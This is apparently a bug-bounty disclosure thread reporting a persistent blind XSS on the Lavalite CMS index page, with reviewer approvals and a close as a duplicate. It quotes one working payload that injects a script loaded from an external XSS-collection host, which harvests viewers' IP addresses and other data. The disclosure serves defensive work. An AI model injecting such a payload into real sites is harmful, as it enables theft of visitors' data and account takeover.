Persistent Blind XSS triggered in lavalite @index page

[B3EF]

✍️ Description

during my hunt for XSS, I have accidentally dropped an xss payload which was accidentally shown on the index page leading to a persistent xss triggered entirely from a different account, even if an unauthenticated user views the index page the XSS payload gets triggered and sends the corresponding users IP address and other stuffs to the XSS payload user. It's a kind of account takeover vulnerability but as we are already admin it doesn't mean anything to us, so this can be considered as a persistent XSS at the index page of lavalite.
payload :-

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://beefee.xss.ht\';document.body.appendChild(a)')

POC in the README.md file

💥 Impact

XSS payloads executed.

✅ Checklist

• Created and populated the README.md and vulnerability.json files
• Provided the repository URL and any applicable permalinks
• Defined all the applicable weaknesses (CWEs)
• Proposed the CVSS vector items i.e. User Interaction, Attack Complexity
• Checked that the vulnerability affects the latest version of the package released
• Checked that a fix does not currently exist that remediates this vulnerability
• Complied with all applicable laws

[Mik317]

LGTM 😄 🎉

Cheers,
Mik

[mufeedvh]

LGTM 👏🎉

[ghost]

Closed as duplicate of #690 👍